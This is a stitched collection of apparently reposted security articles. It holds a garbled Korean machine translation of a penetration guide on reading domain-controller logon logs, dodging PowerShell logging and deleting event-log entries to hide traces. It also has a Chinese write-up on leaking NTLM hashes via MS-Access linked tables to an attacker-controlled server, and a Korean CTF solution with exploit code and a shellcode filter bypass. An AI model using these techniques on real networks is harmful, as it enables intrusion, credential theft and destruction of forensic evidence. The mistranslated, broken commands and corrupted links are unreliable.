logparser.exe -i:evt -o:csv 'select recordnumber, timewritten, eventid, strings, c: \ log5.csv incertid='4624 '및 문자열'%| kerberos |%|%.%.%'및 strings'%|%|%|%|%'' ''

-i: 입력 파일 유형 -O: 출력 파일 유형

정상 도메인 침투 중에 도메인 제어를 직접 가져 와서 도메인 제어 호스트에서 작동하여 로그를 내보내십시오. 일반적으로 분석을 위해 도메인 제어 로그 또는 지정된 멤버 호스트의 로그를 내보내는 것은 비현실적입니다. 1. VPN 방법; 2. 양말 터널을 건설하십시오. 3. 원격 트로이 목마 방법을 구축하십시오.

query logs vpn

일반적으로 대상 호스트를 VPN을 통해 연결하고 작동을 위해 인트라넷 환경에 들어갑니다.

여기서 도메인 관리 계정이 얻어졌으며 도메인 관리 자격 증명을 통해 내보내기 로그 분석이 수행된다고 가정합니다.

1. 호스트의 로그인 레코드를 쿼리하십시오

먼저 도메인 제어의 로그 저장 위치 획득

dir /s /b \\ 10.10.10.10 \ c $ \ security.evtx

도메인 제어 로그 파일은 사본 명령을 통해 로컬로 복사 할 수 있습니다.

복사 \\ 10.10.10.10 \ c $ \ windows \ system32 \ Winevt \ logs \ C: \ Users \ Admins \ Desktop \ log

로그 파일은 숨겨진 파일이므로 로그 파서를 통해 모든 .evtx 파일을 직접 내보낼 수 없습니다 (검색 할 수 없음)

그러나 로그 파서를 사용하여 부분적인 로그를 원격으로 내보낼 수 있습니다.

logparser.exe -i:evt -o:csv 'select * in in c: \ 1.csv \\ remoteserver \ security'

logparser.exe -i:evt -o:csv 'select * in in c: \ 1.csv from \\ 10.10.10.10 \ security'

2. 연결 중에 로그의 흔적을 쿼리하십시오

로그 추적을 쿼리 할 때 먼저이 로그인에 사용 된 인증 방법을 이해해야합니다. Windows는 기본적으로 NTML 인증을 사용하고 Kerberos 인증은 도메인 네트워크에서 사용됩니다. 간단히 말해서 NTLM은 호스트와 호스트 간의 직접적인 대화식 인증이며 Kerberos는 제 3 자 (도메인 제어)에 의해 인증됩니다.

도메인 제어는 도메인 내 호스트 및 도메인 계정에만 자격 증명 만 발행합니다. 따라서 원격 호스트 포지셔닝에 IP를 사용하면 NTLM 인증이 사용되며 포지셔닝에 도메인 이름 또는 기계 이름을 사용하면 Kerberos 인증이 사용됩니다.

순 사용을 사용하여 원격 공유에 연결하는 프로세스도 로그인 프로세스입니다. 따라서 로그인이있는 한 로그에 반영됩니다.

Dir 및 Host를 사용하여 직접 로그인하는 것도 마찬가지입니다.

로그 쿼리 분석에 따르면 호스트는 Kerberos 인증을 사용하여 직접 로그를 발견했습니다. DIR 및 NET 사용을 사용하는 경우 원격 호스트가 IP 인 경우 NTLM 인증입니다. 반대로, 도메인 이름 또는 기계 이름이 포지셔닝에 사용되면 포지셔닝을위한 Kerberos입니다.

멤버 호스트 네트워크 연결 연결 도메인 제어 호스트

NTLM 인증 패킷

순 사용 \\ 10.10.10.10 \ IPC $

지침을 통해이 명령어의 로그인이 NTLM 인증이어야한다는 것을 알 수 있습니다.

여러 테스트 후, 멤버 호스트가 위의 명령문을 사용하여 도메인 제어 호스트에 연결하는 경우 다음 레코드가 도메인 제어 호스트에 남아 있습니다.

첫 번째 패키지는 도메인 컨트롤 호스트에 연결하는 계정을 확인하기위한 자격 증명입니다.

두 번째 패키지는 연결에 권한을 할당하는 것입니다.

세 번째 패키지는 성공적인 로그인이있는 데이터 패키지입니다.

세 번째 패키지에서는 IP 주소, 기계 이름 및 멤버 호스트의 기타 정보를 볼 수 있습니다.

S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 | Admins | vvvv1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {{0000000-0000-0000-00000-0000000000} |-| ntlm V1 | 128 |0x0 |-| 10.10.10.3 | 1280 | %% 1833 |-|-| %% 1843 |0x0 | %% 1842

따라서 세 번째 성공적인 로그인 데이터 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순 사용을 통해 로그에서 도메인 제어의 호스트 정보를 얻을 수 있습니다.

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

문자열 필드를 통해 도메인 컨트롤에 연결된 호스트의 IP 및 호스트 이름을 볼 수 있습니다.

Kerberos 인증 패킷

순 사용 \\ ad-2016 \ IPC $

여러 테스트 후, 위의 명령문을 사용하여 멤버 호스트가 도메인 제어 호스트에 연결되고 Kerberos 인증을 사용하면 도메인 제어 호스트에 다음 레코드가 남게됩니다.

따라서 5 번째 성공적인 로그인 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순이 사용을 통해 로그에서 도메인 컨트롤의 호스트 정보를 얻기 위해 필터링 규칙을 수정하면됩니다.

S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-500 | 관리자 | vvvv1.com |0x7c3dbeb9 | 3 | Kerberos | k Erberos || {CE15C23A-E7E3-3FC1-4A75-FDF339BEC822} |-|-|-|0x0 |-| 10.10.10.12 | 50364 | %% 1840 |-|-|-|-| %% 1843 |0x0 | %% 1842

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' ''

문자열 필드를 통해 도메인 제어에 연결된 호스트의 IP와 계정을 볼 수 있습니다.

멤버 호스트 DIR는 도메인 제어 호스트에 연결합니다

NTLM 인증 패킷

dir \\ 10.10.10.10 \ c $

원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

Kerberos 인증 패킷

dir \\ ad-2016 \ c $

원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' ''

멤버 호스트 연결 멤버 호스트

dir \\ 10.10.10.10 \ c $

dir \\ web-2003 \ c $

첫 번째 방법, 즉 NTLM 인증 방법은이 로그 추적을 도메인 제어 호스트의 로그에만 두는 것입니다.이 로그는 거의 쓸모가 없으며 주요 추적은 연결된 호스트의 로그에 반영됩니다.

Kerberos 인증 방법 인 두 번째 방법은 도메인 제어 호스트에 두 개의 로그를 남깁니다 : 요청 tgt 및 요청 st log.

로그 검색 프로세스도 위와 유사하므로 여기서는 설명하지 않습니다.

멤버 호스트 자체로 로그인

도메인의 사용자 계정으로 로그인하는 사용자 만 도메인 제어 호스트에 흔적이 남습니다. 로컬 계정으로 로그인하면 컴퓨터 로그에만 반영됩니다.

도메인 내의 사용자를 사용하여 로그인하는 경우 도메인 컨트롤은 위의 Kerberos 인증 패킷과 동일한 인증을 위해 Kerberos를 사용하는 것입니다.

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' ''

양말 프록시를 통한 쿼리 로그

일반적으로 경계 호스트를 중단 할 때 양말 터널을 만들고 지역 호스트 에이전트를 인트라넷으로 가져 오기 위해 작동합니다.

먼저 해시 전달을 사용하여 외부 도메인 호스트에 충분한 권한이 있는지 확인하십시오.

테스트 후 해시 통과 작업은 도메인 제어 및 양말 터널 클라이언트 호스트에서 로그 트레이스를 생성하지 않습니다.

1. 호스트의 로그인 레코드를 쿼리하십시오

지침 및 운영은 VPN과 동일합니다.

2. 연결 중에 로그의 흔적을 쿼리하십시오

원격 호스트 네트워크 연결 연결 도메인 제어 호스트

Proxifier 프록시 도구는 양말 환경에서 DNS 프록시를 수정할 수 없으므로 도메인 이름과 기계 이름을 올바르게 해결할 수 없기 때문입니다. 따라서 IP 작업 만 사용하고 NTLM 인증을 사용할 수 있습니다.

NTLM 인증 패킷

순 사용 \\ 10.10.10.10 \ IPC $

지침을 통해이 명령어의 로그인이 NTLM 인증이어야한다는 것을 알 수 있습니다.

여러 테스트 후, 멤버 호스트가 위의 명령문을 사용하여 도메인 제어 호스트에 연결하는 경우 다음 레코드가 도메인 제어 호스트에 남아 있습니다.

첫 번째 패키지는 도메인 컨트롤 호스트에 연결하는 계정을 확인하기위한 자격 증명입니다.

두 번째 패키지는 연결에 권한을 할당하는 것입니다.

세 번째 패키지는 성공적인 로그인이있는 데이터 패키지입니다.

세 번째 패키지에서는 IP 주소, 기계 이름 및 멤버 호스트의 기타 정보를 볼 수 있습니다.

S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 | Admins | vvvv1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {{0000000-0000-0000-00000-0000000000} |-| ntlm V1 | 128 |0x0 |-| 10.10.10.3 | 1280 | %% 1833 |-|-| %% 1843 |0x0 | %% 1842

따라서 세 번째 성공적인 로그인 데이터 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순 사용을 통해 로그에서 도메인 제어의 호스트 정보를 얻을 수 있습니다.

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

문자열 필드를 통해 도메인 컨트롤에 연결된 호스트의 IP 및 호스트 이름을 볼 수 있습니다.

도메인 제어 호스트에 대한 원격 DIR 연결

NTLM 인증 패킷

Proxifier 프록시 도구는 양말 환경에서 DNS 프록시를 수정할 수 없으므로 도메인 이름과 기계 이름을 올바르게 해결할 수 없기 때문입니다. 따라서 IP 작업 만 사용하고 NTLM 인증을 사용할 수 있습니다.

dir \\ 10.10.10.10 \ c $

원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

원격 호스트는 멤버 호스트에 연결합니다

dir \\ 10.10.10.10 \ c $

두 방법 모두이 로그 추적을 도메인 제어 호스트의 로그에 남겨 두는 것을 의미하며, 이는 거의 쓸모가 없으며 주요 추적은 연결된 호스트의 로그에 반영됩니다.

로그 검색 프로세스도 위와 유사하므로 여기서는 설명하지 않습니다.

PowerShell log

PowerShell 로그는 일반적으로 시스템 로그에 직접 작성됩니다.

그러나 정상 구성에서 PowerShell은 실행의 명령 로그를 저장하지 않지만 PowerShell Open Command (ID:600) 및 PowerShell Close 명령 (ID:403) 만 저장합니다.

따라서 침투 과정에서 대화식 쉘을 얻으면 먼저 PowerShell을 열고 명령을 실행할 수 있습니다. 그러면 로그는 PowerShell을 열도록 명령 만 기록하며 PowerShell 터미널에서 실행 된 명령의 기록을 저장하지 않습니다.

그러나 침투 과정에서 웹 쉘, 즉 반 인터랙티브 명령 창이 발생하면 명령을 하나의 문으로 만 요약 할 수 있으며 명령은 로그에 기록됩니다.

PowerShell 스크립트 사용

PowerShell 스크립트를 사용하여 명령을 실행하면 먼저 명령을 실행해야합니다.

PowerShell -ExecutionPolicy 바이 패스

PowerShell 실행 정책을 우회하는 데 사용됩니다. PowerShell은 기본적으로 실행 정책을 활성화하여 스크립트 실행 권한을 제한합니다.

실행 정책은 스크립트 파일을 실행할 수 있는지 여부를 제어하고 신뢰할 수없는 소스에서 스크립트를 제어하는 보안 메커니즘입니다. 기본적으로 PowerShell의 실행 정책은 '제한적'으로 설정되어 있으므로 스크립트 파일을 실행할 수 없습니다.

PowerShell 명령 줄에 'PowerShell -ExecutionPolicy Bypass'를 사용하면 실행 정책 제한을 우회하고 스크립트 파일이 허용됩니다. 이렇게하면 실행 정책을 일시적으로 변경하여 모든 스크립트를 실행할 수 있습니다.

PS1 스크립트가 가져 오려고하는 경우 Sharphound.ps1

import-module ./sharphound.ps1

현재 Sharphound 모듈이 현재 세션에로드되었습니다.

현재 세션에서로드 된 모든 모듈을보십시오

모듈을 얻으십시오

Sharphound 모듈에서 모든 명령 목록 얻기

get -command -module sharphound

Sharphound 사용 도움말을 확인하십시오

get-help sharphound

Get-Help invoke-bloodhound-

로그 삭제

당신이 관통하는 환경에 있으면 모든 로그를 삭제하면 우리의 흔적을 덮을뿐만 아니라 대신 흔적을 더 명확하게 만들 것입니다.

따라서 단일 로그를 삭제하는 방법 만 사용할 수 있지만 Windows는이를 제공하지 않거나 단일 로그를 삭제하는 것이 허용되지 않으므로 다른 방법 만 사용할 수 있습니다.

도구 사용 : https://github.com/3gstudent/eventlogedit-evtx- evolution

단일 로그 삭제 원칙 : https://3gstudent.github.io/windows-xml-event-log-(evtx)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97% E6%B8%85%E9%99%A4-%E4%B8%80-%E5%88%A0%E9%99%A4%E6%80%9D%E8%B7%AF%E4%B8%8E%AE%9E%E4%BE%8B

https://github.com/qax-a-team/eventcleaner

RDP 로그인 추적

지우기

https://blog.csdn.net/m0_37552052/article/details/82894963

https://blog.csdn.net/coco56/article/details/102671007#:~333333333333333333333333333333333333333333333333333333333333333333:Text=Win10%E7%B3%BB%E7%BB%9f%E6%8E4%E4%B9%B9%8899a0%9999%. 99%A4%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%a5%AE%B0%E5%BD%95%20%20%20%8C%89WIN%2BR E9%Ae%ae%ae%ae%e6%89 BC%80%E8%BF%90%E8%A1%8C%EF%BC%8C%E8%BE%93%e5%85%A5%20 리게디%20%20%E5%B9%B6%E7%A1%AE%E5%AE%9A%e3%80%202,%E5%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9. C%B0%E5%9d%80%e6%A0%8f%E4%B8%AD%E8%BE%93%E5%85%A5%E4%BB%A5%E4 비 5%8d%B3%e5%8f%AF%a8%bf%9b%e8%a1%8c%e7%9c%8b%e5%88%b0%e6%89%80 %e6%9c%89%e7%9a%84%e5%b7%b2%e8%bf%9e%e6%8e%a5%e8%bf%87%e7%9a% 84%E7%94%B5%E8%84%91%E3%80%82%20%E8%AE%AE%A1%E7%AE%97%E6%9C%BA%5CHKEY_CURRENT_USER%5CSOFTWARE%5CMICROSOFT%5CTerminal%20Server% 20Client%5cdefault%201%203%20%E5%8f%B3%E9%94%AE%E7%82%B9%E5%87%BB%E9%9c%80%e8%A6%81%e7%AE%A1%E7%90%86%e7%9A%84%ae%B0%e5 %BD%95%E9%A1%B9%EF%BC%8C%E5%8F%AF%E4%BB%A5%E4%BF%AE%E6%94%B9% E6%88%96%E8%80%85%E5%88%A0%E9%99%A4%E6%AD%A4%E9%A1%B9%E3%80%82

https://blog.csdn.net/travelnight/article/details/122854895

이벤트 ID : 1149 : RDP를 사용하여 소스 IP가 로컬 컴퓨터에 성공적으로 로그인 한 레코드. 등록 :hkey_current_user \ Software \ Microsoft \ 터미널 서버 클라이언트 \ 서버 \

이 경로는 현재 호스트가 로그인 한 서버를 기록합니다. 이벤트 ID : 5156 로그 : 기계가 다른 서버의 포트 3389에 액세스했는지 확인할 수 있습니다. 4624 —— 계정은 성공적으로 로그인했습니다

4625 —— 계정을 로그인 할 수 없습니다

1149 —— 사용자 인증이 성공했습니다

원래 링크 주소에서 재 인쇄 : https://forum.butian.net/share/3657

HireHackking

微信截图_20231111174838.png

10 月12 日，微軟宣布新一輪過渡計劃，棄用NTLM 身份認證方式，讓更多企業和用戶過渡到Kerberos。

Microsoft Access (Office套件的一部分)有一個“鏈接到遠程SQL Server表”的功能。攻擊者可能會濫用此功能，通過任意TCP端口(如端口80)自動將Windows用戶的NTLM令牌洩露給攻擊者控制的任何服務器。只要受害者打開.accdb或.mdb文件，就可以發起攻擊。事實上，更常見的Office文件類型(如.rtf)都可以以類似方式運行。這種技術允許攻擊者繞過現有的防火牆規則，這些規則旨在阻止由外部攻擊發起的NTLM信息竊取。

什麼是NTLM？針對它的常見攻擊有哪些？ NTLM是NT LANManager的縮寫，這也說明了協議的來源。 NTLM是指telnet的一種驗證身份方式，即問詢/應答身份驗證協議，是Windows NT 早期版本的標準安全協議，是Microsoft在1993年引入的一種目前已被棄用的身份驗證協議。微軟在今年10月宣布，棄用NTLM 身份認證方式，讓更多企業和用戶過渡使用Kerberos，Kerberos 提供了更好的安全保證，並且比NTLM 更具可擴展性，現在成為Windows 中首選默認協議。

企業雖然可以關閉NTLM 身份認證，但那些硬連線（hardwired）的應用程序和服務可能會遇到問題，為此微軟引入了兩個身份驗證功能。

其一是Initial and Pass Through Authentication Using Kerberos（IAKerb），允許“沒有域控制器視線的客戶端通過有視線的服務器進行身份驗證”。

另一個是Kerberos 的本地密鑰分發中心(KDC)，它增加了對本地賬戶的身份驗證支持。通過上述兩項功能的推進，Kerberos 將成為唯一的Windows 身份驗證協議。

以下是針對NTLM的三種最著名的攻擊。

1.暴力攻擊利用NTLM哈希函數規範中的固有漏洞，從存儲在服務器上的NTLM哈希中恢復原始密碼。

2.傳遞哈希攻擊濫用了NTLM哈希來挑戰/響應模型來證實客戶端的身份，使得使用哈希而不是普通密碼這一事實在本質上毫無意義。

3.中繼攻擊通常被稱為“中間人”攻擊，攻擊者攔截握手交易，在與服務器交談時假扮成客戶端，反之亦然，這樣就可以將他們的消息互相傳遞，直到會話被驗證的關鍵時刻，此時攻擊者切斷合法客戶端並代替他們進行對話。

上述攻擊的緩解措施出現在Kerberos中，Kerberos是麻省理工學院開發的一種身份驗證協議，比NTLM早了整整五年。

不過，對於任何想要保留NTLM服務器的用戶來說，微軟設計了一個過渡機制，簡單地阻止通過NTLM協議使用的端口(139和445)的所有組織出站流量，使上述攻擊更加難以執行，這樣攻擊者就不可能獲得對網絡的初始Access的口令。這種由外部攻擊發起的攻擊技術被稱為“強制身份驗證”。

不過這種權宜之計總是漏洞百出。在這篇文章中，我們提出了一種新的方法，可以繞過這些端口使緩解措施失效，即可以直接針對內部用戶進行NTLM攻擊。這種方法通過濫用MS-Access應用程序中稱為“Access鍊錶”的功能來實現。

MS-Access中的鍊錶在討論攻擊者如何濫用此功能之前，我們將首先解釋該功能在用於合法目的時是如何正常工作的。使用鍊錶，用戶可以連接到外部數據庫，例如遠程Microsoft SQL服務器，這種功能的優勢應該是不言而喻的，不過讓每個用戶在他們的本地設備上保留一個數據庫副本在很多時候並不是一個很好的解決方案，而且絕對不是長久的解決方案。要激活該功能，用戶可以點擊“外部數據”選項卡的“ODBC Database”按鈕，如下所示。我們以Office 2010為例，但這同樣適用於所有版本的Office。

1.png

點擊“ODBC Database”按鈕啟動連接到Microsoft Access 2010上的遠程SQL Server的引導

MS-Access建議使用另一種方法，用一次性下載遠程表，這樣就可以將結果視為本地表。為了實際使用鏈接功能並與遠程數據庫同步，用戶選擇了另一個選項，“通過創建鍊錶鏈接到數據源”。

2.png

MS-Access允許用戶在創建遠程數據庫的本地副本和完整的遠程鏈接之間進行選擇

然後，用戶在對話框中選擇“SQL Server”作為ODBC Database。

3.png

選擇ODBC Database類型的對話框

ODBC(OpenDatabaseConnectivity，開放數據庫互連)是微軟公司開放服務結構(WOSA，Windows Open Services Architecture)中有關數據庫的一個組成部分，它建立了一組規範，並提供了一組對數據庫訪問的標準API（應用程序編程接口）。

此時，用戶需要選擇使用遠程服務器進行身份驗證的方法，如下圖所示。

4.png

選擇SQL Server身份驗證方法的對話框

一般的用戶會根據服務器支持的身份驗證方法、公司安全策略以及他們個人認為方便的方式進行選擇。為了方便講解，我們會假設用戶選擇使用自己的Windows ID憑據進行身份驗證的選項。此外，典型的用戶可能會將遠程服務器的端口保留為默認值(1433)，但是，出於為了方便講解，我們暫時假設用戶選擇不經常使用的端口，例如端口80。

畢竟，沒有什麼可以阻止SQL服務器監聽端口80，一個合法組織的SQL服務器可能不會這樣做，但是如果有人這樣做了，網絡也不會產生什麼異常。

5.png

選擇服務器的IP地址、端口和協議的對話框

假設遠程SQL服務器的身份驗證成功並且所選表存在，那麼在客戶機的“tables”列表中就會出現一個表示鍊錶的新條目。當用戶點擊此條目時，將建立到該遠程數據庫的連接，並且MS-Access客戶端嘗試使用用戶的Windows憑據與SQL服務器進行身份驗證。

6.png

在MS-Access的“tables”列表中顯示的鍊錶

濫用鍊錶在將該功能武器化並轉化為NTLM中繼攻擊之前，攻擊者可以設置一個他們控制的服務器，監聽端口80，並將其IP地址放在上面的“服務器別名”字段中。然後，他們可以將數據庫文件(包括鍊錶)發送給受害者。如果受害者打開文件並點擊表，受害客戶端CV將聯繫攻擊者控制的服務器SA並嘗試進行身份驗證。然後，SA處於執行攻擊的最佳位置，它可以立即啟動同一組織中目標NTLM服務器ST的身份驗證過程，接收挑戰，並將該挑戰作為攻擊者控制的CV的一部分發送到CV↔SA身份驗證過程，接收有效響應，然後將該響應傳遞給SA來通過ST的成功身份驗證。身份驗證是使用TDS中封裝的NTLMSSP來完成的。讓受害者打開文件並點擊數據庫是一件很危險的事情。關於“點擊數據庫”部分，從技術上講，MS Access支持宏，因此攻擊者理論上可以創建一個自動打開鏈接表的宏，並將其設置為在打開文件時自動執行，這是通過將宏命名為AutoExec來實現的。當然，這是一條死胡同，因為隨後會提示用戶啟用宏，就在去年，微軟計劃推出了一項針對這種情況的新安全功能。這個功能不適用於簡單的MS Access宏。這些與成熟的VBA不同，它們的功能較弱，處理起來也不那麼謹慎。即使是2010年推出的可證明有效的“受保護視圖（protected view）”功能，該功能會提示用戶文檔“可能不安全”並提示用戶“啟用宏”。

7.png

添加一個打開鏈接表的MicrosoftAccess宏，並將其保存為“AutoExec”以在打開文件時執行

OLÉ, OLÉ, OLÉMicrosoft Access在Windows上註冊為“OLE鏈接”服務器。例如，可以在Word文檔中嵌入圖像，當文檔被打開時，MS-Paint將處理圖像並發回信息，從而使MS-Word可以內聯顯示圖像。

同樣，也可以將MS word文檔中的.accdb文件鏈接為OLE對象，該對象將自動下載（也可以通過端口80/tcp），然後由MS Access處理。像下面這樣簡單的字符串就會觸發這個行為:

\\\\111.111.111.111@80\\test.accdb

總的來說，整個攻擊鍊是這樣的:

8.png

濫用鍊錶

概念驗證為了方便研究，研究人員建立一個展示這種攻擊的概念驗證環境，禁用服務器的第一個響應數據包（PRE-LOGIN消息響應）中的加密，可以使研究的工作變得更容易，因為不需要處理TDS TLS加密。

以下是模擬受害者和虛假SQL服務器活動的過程，受害者位於典型的端口阻塞環境中（阻塞傳出的139/tcp和445/tcp流量，但允許80/tcp），而攻擊者控制的服務器位於公共雲中。受害者在試圖通過端口80上的服務器進行身份驗證時洩露了本地net-NTLMv2哈希值。

9.png

流量捕獲(PCAP)顯示了一次成功的攻擊，它使受害者通過端口80洩露了本地NTLM哈希

防禦和緩解措施研究人員已經成功地在所有可用的默認Windows + Office環境中復制了攻擊，包括最新的Windows 10/11 和Office 2021環境。

建議你可以考慮禁用MS-Access中的宏，或者如果MS-Access對你的Office套件安裝不是必需的，則將其從系統中完全刪除。

另外，請不要打開未經請求的附件。

HireHackking

1. 데이터 보안 질문

1 .as

예와 질문을보고 쓰기 Exp

def pell_recurrence (x1, y1, x, y, d) :

x_next=x1 * x + d * y1 * y

y_next=x1 * y + y1 * x

x_next, y_next를 반환합니다

#믿다

def generate_until_threshold (x1, y1, d, 임계 값) :

x, y=1, 0

솔루션=[(x, y)]

반복=0

True:

x, y=pell_recurrence (x1, y1, x, y, d)

반복 +=1

Solutions.Append ((X, Y))

x 임계 값과 y 임계 값인 경우

부서지다

반품 솔루션, 반복, (x, y)

################################################### #######################################################################################YOUMYYM

def main () :

D=42232

X1, Y1=10863430363390444672094671043496198963286006933268451418419427752345999, 52862312812076818203801374519259164308207980652808243827880652144787200

임계 값=2 **0x149f

솔루션, 반복, last_solution=generate_until_threshold (x1, y1, d, 임계 값)

print (f 'x={last_solution [0]}')

print (f 'y={last_solution [1]}')

n1=(Last_Solution [0] -1) //2

n2=last_solution [1]

인쇄 (N1)

인쇄 (N2)

__name__=='__ 메인 __': 인 경우

main () image-20250403151324146

N1=6484456464385494958985160233577839841735795804473541907965865471825503785272678822222223754144416 5172555010268946547371838387582496807783872409495175343418420178605123847893899093406677173844538 634240765920500106813530272923710062024324879910469788878708717896042881627844174314231125376214954 191547729867576758551671299193867007260053941673833333312842542794986302553731384956828280106931847810 5747928749942182896044998865749248512370269452313096224318388047216423763541300420337417782206304 4408922159647529108936153248709307757583423432206558845108059414461593855011448692345628664306 83959981553165969134977744797440777424234381471672458781349375368354137657751284194009683337 897606497230343157092891975885033309810185295961357191249517789616682247175593069461888888888813 059885471926155737315230514752046521202893304056240282834692548759885970543898301236709193423 0242946589463785934444443029018424523547397999999943751900954643195971492238007190552442974382991653088 94827406935888888888888947780910754797043403338315077248175845012048361045898033382579417081596422 21431364092087627932238340345061520303793480769731939908956253484222391138185162719396503715138316 61159295598370595261204299608982637315116533642003066669261874318917777777511599010768666767007935738 23935662067654373217132550909022471458326286291025447386537438528458980011935439932582958912 542652555558695373047067726351358183876589163636096276667169682852304974550725035557641675806757 3954596043890492834784253219485112525030553753092423333264250758350828806805623873239302114836480000

N2=6310775778373158072121506050012120110110737000921159830860487405951913977629845084436128491344735820 400264903056115667281579073327945532438949038244192826523764101532018565743490392509759609697887 88325444231817568932630406378290843956256970846735492761586936928880019298918917442234446613339985 3927778347597501992783349577759948389598413174615232愚人节340208973243584337320359607836900037507 801983941584013345449804347344405786017144561862888858206999995555557864335810426614970929579975227 4011822253828253846093465289623440363883250259046741321911200142678063796240523447461120883480 9003855546323206318760733316353796062046207210640529484343373700073814417337348039530722450965823938 028647293309243825273560981374529318529342514017856189789915212062470755198888904264788869371756843 8766117594474482828255975342557814885279693013920359743897278354653848976322146722301616470057230 068271661333034555567071000363844315811357274703954155522493794845091481848371069289334733846351 3562506182502826257198176485230753980573080357918135532017187134962666791602751075678752308935413 19068679146341573352252143049354837544407433056725122793002161618380935544441531642048116980907626 42324815609182517988506268150630360407065284691305601280740083579032479034947212812440317249494943 3411188350035978075888936279816925317068991219980838476317761440997387670316498292979999928354912 238925949073238723303504957174689978086401613054702477445158411519923503718585827273942555857158966 004358344039029898799405479632695043708918494502587524196559584122132413440460209140828413581600

NC 연결 제출

image-20250403151353410

username3:admin-jm password:jm001x를 얻으십시오!

FLAG:

MD5 (admin-JM+JM001X!)

image-20250403151635504

또는:

#SAGE 9.5

crypto.util.number import *에서 *

PWN 가져 오기 *

SYS 가져 오기

sys.set_int_max_str_digits (0)

DEF 상호 작용 (IO, X, Y) :

io.recvuntil (b': ')

io.sendline (b'2 ')

io.recvuntil (b'n1 ~ ')

io.sendline (str (x) .encode ())

io.recvuntil (b'n2 ~ ')

io.sendline (str (y) .encode ())

io.recvline ()

반환 io.recvline ()

D=42232

Check=2 **0x149f

def solve_pell (n) :

cf=conayd_fraction (sqrt (n))

i=0

WHILETRUE:

I +=1

Denom=cf.denominator (i)

숫자=cf.numerator (i)

if (((숫자 -1) //2)=check) 또는 (Denom=Check) :

계속 계속하십시오

숫자^2 -n * delom^2==1: 인 경우

x, y=int ((숫자 -1) //2), int (denom)

RES=상호 작용 (io, x, y)

ifb'sorry'in res:

계속 계속하십시오

반환 해상도

IO=원격 ('47 .117.41.252 ','33410 ')

context.log_level='디버그'

RES=SOLVE_PELL (D)

인쇄 (RES)

io.interactive ()

#b'verify success! 사용자 이름 [admin-jm], 당신의 비밀번호 [jm001x!] ~ 'Final Flag:

B7133D84297C307A92E70D7727F55CBC

2.SCSC

제목 설명 :

프로그램 취약점을 사용하여 info_sec 파일에서 데이터 정보를 얻고 11 행, 열에서 데이터를 제출하십시오.

질문의 프로세스 : SCSC Binary 파일을 얻었을 때 정적으로 컴파일되었고 라이브러리 기능이없고 기호 테이블이 없어서 이름이없는 라이브러리 기능이 없음을 발견했습니다.

여기서 우리는 역 기술을 사용합니다. 일부 기호 테이블을 복원하는 세 가지 방법이 있습니다.

다른 버전의 SIG 파일을 사용하고, Bindiff 사용을 복원하고, 다른 LIBC 파일을 사용하고, 라이브러리 기능의 기계 코드를 비교하고 지문 플러그인을 사용하여 기능 이름을 복원하십시오 (인터넷에 연결해야 함). 개인적으로 가장 이상적인 효과는 지문 플러그인이라고 생각합니다. 이 게임은 끊임없이 온라인 상태이므로 사용합니다. 그것은 LIBC를 인식 할뿐만 아니라 그것 없이는 C ++ 라이브러리를 사용했다는 것을 모르겠습니다. 여기서 우리는 회복 후 효과를 보여줍니다

이 프로그램은 AES 암호 해독 함수 세트 Shellcode Executor이며 일부 가시 문자를 비활성화합니다. 문자를 필터링하지 않고 Shellcode를 암호화하고 전송해야합니다.

다음은 ShellCode를 사용하여 읽기를 작성하고 점프 한 다음 일반 쉘 코드를 입력하는 가장 쉬운 방법입니다. 여기에서 보이는 문자 필터링은 "SH"및 다양한 64 비트 레지스터 작업을 제한합니다. 그래서 32 비트 레지스터를 사용하여 쉽게 우회하고 SYS_READ를 켜고 ShellCode를 주입, GetShell을 사용했습니다.
